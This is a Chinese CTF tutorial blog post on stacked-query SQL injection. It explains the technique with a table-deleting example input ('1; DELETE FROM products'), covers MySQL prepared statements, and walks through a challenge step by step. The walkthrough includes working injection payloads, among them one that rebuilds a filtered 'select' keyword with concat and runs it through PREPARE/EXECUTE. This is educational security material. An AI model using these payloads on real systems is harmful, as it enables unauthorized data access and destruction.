欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CTFweb篇-SQL注入(三)

程序员文章站 2022-05-15 09:55:59
...

堆叠注入

什么是堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,**可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。**例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入的局限

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

SQL中@和set

@变量名是用在当前用户的客户端的,set @i=7表示在客户端定义一个值为7的用户变量,在当前客户端中有效;

SQL预处理

为什么要预处理

SQL的执行顺序:第一次:词法分析->语法分析->语义分析->执行计划优化->执行 。词法分析识别sql中每个词,语法分析解析SQL语句是否符合sql语法,并得到一棵语法树(Lex)。对于只是参数不同,其他均相同的sql,它们执行时间不同但硬解析的时间是相同的。
预处理的目的就是优化硬解析时间,对于相同的SQL语句,下一次的硬解析就会忽略,从而节省时间。
但同时预处理与普通执行相比,会多一次prepare的交互时间。

预处理语法

定义:prepare 别名 from 'SQL语句'
执行:EXECUTE statement_name [USING variable [,variable...]] /*执行预处理语句*/
删除:DEALLOCATE PREPARE statement_name /*删除定义*/
注意 prepare 语法适用频繁执行且复杂的SQL。

预处理在CTF中的运用

如果某些网站进行了后台SQL语句过滤,可以通过预处理进行相关绕过

PHP strstr()

strstr(str1,str2):如果str2是str1的子串,则会返回str2中从str1到str2末尾的所有字符串。不区分大小写
区分大小写就用strpos函数

例题

CTFweb篇-SQL注入(三)
打开界面
没有多余的包,源码也没有提醒。
只有看SQL注入
-----填1’
报错error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
可以知道这里是双单引号括着参数
-----判断字段1' order by 2 --,传3报错,证明这里是两个字段
-----尝试用union 获取信息1' union select1,database()--
CTFweb篇-SQL注入(三)
有过滤select


-----尝试用堆叠注入
先查表-1';show tables;--
CTFweb篇-SQL注入(三)
查出两个表
再查列-1’;show columns from `1919810931114514`;–+
!!!注意这里必须用``号括起来
CTFweb篇-SQL注入(三)
找到flag列
再查flag数值,因为不能用select,所以考虑用预处理

-1';set @sql=concat('selec','t *from `1919810931114514`');PREPARE own FROM @sql;EXECUTE own;--+

为什么要用concat,主要还是为了 绕过select的过滤
得到flag
CTFweb篇-SQL注入(三)